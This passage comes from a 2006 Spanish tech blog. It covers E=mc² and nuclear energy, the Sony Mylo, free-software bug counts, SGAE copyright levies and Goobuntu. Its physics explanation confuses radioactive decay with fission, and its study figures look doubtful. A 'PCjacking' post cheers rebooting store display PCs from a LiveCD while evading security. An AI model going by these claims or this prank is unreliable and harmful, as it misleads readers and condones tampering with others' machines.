El uranio, por ejemplo, es radiactivo. Cada segundo, muchos átomos en un pedazo de uranio está liberándose al exterior. Cuando sucede esto, los pedazos, que ahora son nuevos elementos (con pocos protones) son MENOS masivos en total que los átomos de uranio originales. ¡La masa adicional desaparece como energía, otra vez se puede calcualr con la fórmula! Este proceso se llama fisión nuclear.
Ambas reacciones nucleares transforman una porción pequeña de su masa en energía. ¡Cantidades grandes de energía! Esta energía es la que producimos. La fusión nuclear es la que activa una cabeza nuclear moderna. La fisión nuclear (menos desarrollada) es la que sucede en una bomba atómica (como las utilizadas en Japón en la IIGM), o en una planta de energía atómica.
Albert Einstein entendía hasta donde se podía llegar con el desarrollo de esta fórmula. Aunque él era pacífico por naturaleza y por la política, ayudó a escribir una carta al presidente de los Estados Unidos, impulsándole a financiar la investigación en el desarrollo de una bomba atómica antes de que los Nazis o Japón desarrollaran primero una. El resultado fue el proyecto de Mahattan, que produjo la primera evidencia tangible de la bomba atómica.
Fuente http://www.hispamp3.com/noticias/noticia.php?noticia=20060820100333
viernes, agosto 11, 2006
miércoles, agosto 09, 2006
Mylo, que chulada de gadget
De la mano de Sony nos llega Mylo, que proporciona acceso a servicios de mensajería instantánea a través de Internet, páginas web, correo electrónico, además de poder reproducir música, video y fotos.
Mylo es un dispositivo parecido en cuanto a su aspecto al PSP, pero totalmente diferente en cuanto a sus funcionalidades.
Es capaz de conectarse a redes inalámbricas y ofrece navegador, mensajería instantánea, visualizador de imáges, de vídeos, además de reproductor musical compatible con los formatos MP3, ATRAC y WMA.
Abreviatura de My Life Online, Mylo posee un teclado deslizante qwerty completo oculto bajo su pantalla de 2,4 pulgadas.
Dispone de una autonomía de 45 horas escuchando música y hasta 7 conectado a Internet.
Está claramente orientado a la mensajería personal, ya que incluye los programas, Skype, Yahoo Messenger y Gtalk y una base de datos de más de 20.000 puntos WiFi en Estados Unidos.
Incluye una memoria interna de 1GB y es compatible con tarjetas Memory Stick.
Las primeras unidades saldrán a la venta el próximo mes de septiembre en Estados Unidos y a un precio de 350 dólares.
Mylo es un dispositivo parecido en cuanto a su aspecto al PSP, pero totalmente diferente en cuanto a sus funcionalidades.
Es capaz de conectarse a redes inalámbricas y ofrece navegador, mensajería instantánea, visualizador de imáges, de vídeos, además de reproductor musical compatible con los formatos MP3, ATRAC y WMA.
Abreviatura de My Life Online, Mylo posee un teclado deslizante qwerty completo oculto bajo su pantalla de 2,4 pulgadas.
Dispone de una autonomía de 45 horas escuchando música y hasta 7 conectado a Internet.
Está claramente orientado a la mensajería personal, ya que incluye los programas, Skype, Yahoo Messenger y Gtalk y una base de datos de más de 20.000 puntos WiFi en Estados Unidos.
Incluye una memoria interna de 1GB y es compatible con tarjetas Memory Stick.
Las primeras unidades saldrán a la venta el próximo mes de septiembre en Estados Unidos y a un precio de 350 dólares.
jueves, junio 08, 2006
06/06/06
El día de la bestia!
En este día tan señalado habra nacido el anticristo, y como La Iglesia esta en contra del uso del preservatibo, no lo pudieron evitar...
En este día tan señalado habra nacido el anticristo, y como La Iglesia esta en contra del uso del preservatibo, no lo pudieron evitar...
martes, marzo 21, 2006
Software libre 10 - 0 Software propietario
Segun un estudio independiente financiado por el Departamento de Seguridad Interna de los Estados Unidos.
El Departamento de Seguridad Interna de los Estados Unidos ha financiado con 1,2 millones de euros un estudio llevado a cabo por Coverity y Symantec.
Bajo el título de "The National Strategy to Secure Cyberspace", el estudio analizó los 32 proyectos de Software Libre más empleados en todo el mundo, junto con sus versiones alternativas propietarias.
Las conclusiones son demoledoras, ya que las herramientas libres presentanban tan solo 0,434 errores por cada 1,000 lineas de código.
Las soluciones propietarias presentaban de 20 a 30 errores por cada 1.000 lineas de código.
A nivel anecdótico el programa libre con más errores fue "Amanda", un software de copias de seguridad que presentó 1,22 errores por cada 1.000 líneas de código.
Una vez conocida la noticia, los desarrolladores de Amanda corrigieron todos los errores en menos de una semana.
El Departamento de Seguridad Interna de los Estados Unidos ha financiado con 1,2 millones de euros un estudio llevado a cabo por Coverity y Symantec.
Bajo el título de "The National Strategy to Secure Cyberspace", el estudio analizó los 32 proyectos de Software Libre más empleados en todo el mundo, junto con sus versiones alternativas propietarias.
Las conclusiones son demoledoras, ya que las herramientas libres presentanban tan solo 0,434 errores por cada 1,000 lineas de código.
Las soluciones propietarias presentaban de 20 a 30 errores por cada 1.000 lineas de código.
A nivel anecdótico el programa libre con más errores fue "Amanda", un software de copias de seguridad que presentó 1,22 errores por cada 1.000 líneas de código.
Una vez conocida la noticia, los desarrolladores de Amanda corrigieron todos los errores en menos de una semana.
martes, marzo 07, 2006
PCjacking: secuestrando ordenanores con un LiveCD
Cuando das una vuelta por los supermercados y ves los ordenadores, siempre tienen Hasefroch Ventanas XP ¿no?. ¿Y porque no reiniciarlo y ponerle una Ubuntu o Knoppix?.
Básicamente el "PCjacking" consiste en resetear un ordenador de los expositores de una gran superficie, y arrancarlo desde CD con una distribución LiveCD. Esta curiosa iniciativa viene de francia, y como se ven en la web que a comenzado esta pomocion del software libre, ponen Knoppix en la bandeja del ordenador y lo reinician.
Básicamente el "PCjacking" consiste en resetear un ordenador de los expositores de una gran superficie, y arrancarlo desde CD con una distribución LiveCD. Esta curiosa iniciativa viene de francia, y como se ven en la web que a comenzado esta pomocion del software libre, ponen Knoppix en la bandeja del ordenador y lo reinician.
Coged vuestras LiveCD y cuidado con los de seguridad... jeje
miércoles, marzo 01, 2006
¿Nuestras Pocket PC y SmartPhones en el punto de mira de la SGAE?
Muchos de los actos cotidianos que muchos llevamos a cabo diariamente están sujetos a un pago por derechos de autor, y parece ser que, a pesar de las quejas de organizaciones de usuarios y consumidores, lejos de reducirse, va a incrementarse de una forma notable durante los próximos meses.
Muchísimos conceptos son los que están sujetos al pago del canon actualmente. Tenemos por ejemplo desde centralitas teléfonicas con línea de espera (que deben abonar la cantidad de 2,41€ por cada tramo de 5 lineas para poder escuchar música) hasta una simple muñeca que incorpore una corta melodia de una obra o fragmento musical (debiendo abonar una cantidad entre 11,23 y 3,35€ por muñeca, dependiendo de la cantidad de unidades fabricadas). Tampoco se libran asociaciones de vecinos, autocares, casetas de feria, colegios, comercios, restaurantes, incluso hogares de pensionistas y asociaciones de ancianos (que deberían pagar a la SGAE entre 30 y 75€ si un dia quieren montar espectáculo de variadades). Otra organización similar es CEDRO, encargada de preservar los derechos de los creadores de la cultura escrita (escritores, traductores periodistas y editores), que ya lleva cobrando desde hace años un canon sobre los equipos de reprografía que pueden llegar a los 800€ en fotocopiadoras que superen las 50 copias por minuto y se encuentren en poblaciones con centros universitarios.
Aprovechando que este próximo miércoles la Ley de la Propiedad Intelectual pasará a la Comisión de Cultura del Congreso de los Diputados, la SGAE está aprovechando para filtrar algunas de las reformas que se pretenden llevar a cabo.
Según Pedro Farré, director del gabinete de relaciones institucionales de la SGAE, en declaraciones a Informativos Telecinco comenta que "el canon de copia privada que plantea la reforma legal va a afectar a todos los dispositivos electrónicos portátiles que sean aptos para reproducir música o vídeo". Dentro de esta gama de dispositivos entrarían los teléfonos móviles con capacidad de reproducir música y los reproductores MP3 (algunos modelos ya pagan el canon). Aunque en principio no se pretenda cobrar el canon a los ordenadores portátiles ni a dispositivos como la cónsola PSP (que también sirve para escuchar música), se deja una puerta abierta para que si se considera oportuno pueda cobrarse en un futuro. También queda en entredicho la posibilidad de que se pretenda cobrar a Pocket PC y SmartPhones, puesto que las posibilidades de reproducción de video y audio son evidentes.
Pero no queda ahí todo. La SGAE quiere meter mano directamente a las grandes compañías, y según hemos podido saber hoy mismo, hace un par de semanas se ha presentado una demanda contra la compañía Apple por entender que debería pagar el canon de copia privada por cada reproductor iPod que venda, con efecto retroactivo, es decir, que debe pagar por todos los reproductores que venda y haya vendido en España. El incremento del precio en el iPod Nano de 1GB. en Francia, donde ya pagan canon, es de 5,98€, y 9,57€ para la versión de 2 y 4 GB. Vale la pena recordar que tanto Apple como Creative estaban exentos del pago del canon en España, pero parece que tienen los dias contados. Aunque la ley era un poco confusa hasta el momento, en el último borrador de la que se va a aprovar queda claramente contemplado la extensión del canon a este tipo de aparatos.
Es muy probable que en un futuro, podamos contar con los dedos de una mano los ámbitos relativos a la electrónica de consumo donde la SGAE no haya metido mano.
martes, febrero 07, 2006
jueves, febrero 02, 2006
Los que cambiaron mi vida
Estan son las personas que me 'abrieron' la mente y cambiaron mi vida:
Stephen Hawkins
Kevin Mitnick
Linus Torvalds
Richard Stallman
Bill Gates
Steve Jobs
Los creadores de Google, Sergey Brin y Larry Page
Stephen Hawkins
Kevin Mitnick
Linus Torvalds
Richard Stallman
Bill Gates
Steve Jobs
Los creadores de Google, Sergey Brin y Larry Page
miércoles, febrero 01, 2006
¡ Goobuntu existe !
A través de una entrada en Google.dirson.com descubrimos que en un hilo de Slashdot, Chris DiBona, el responsable de proyectos Open Source de la compañía confirma la existencia de la rumoreada distribución Linux.
No obstante según DiBona, Google no tiene intención de liberar dicha distribución, sino que en principio esta ha sido diseñada para uso interno de la compañía.
Finalmente reconoce emplear Ubuntu en su portátil y recomienda a todos el empleo del mismo.
Goobuntu
Aunque yo prefiero Kubuntu, porque me gusta más KDE
No obstante según DiBona, Google no tiene intención de liberar dicha distribución, sino que en principio esta ha sido diseñada para uso interno de la compañía.
Finalmente reconoce emplear Ubuntu en su portátil y recomienda a todos el empleo del mismo.
Goobuntu
Aunque yo prefiero Kubuntu, porque me gusta más KDE
Suscribirse a:
Entradas (Atom)
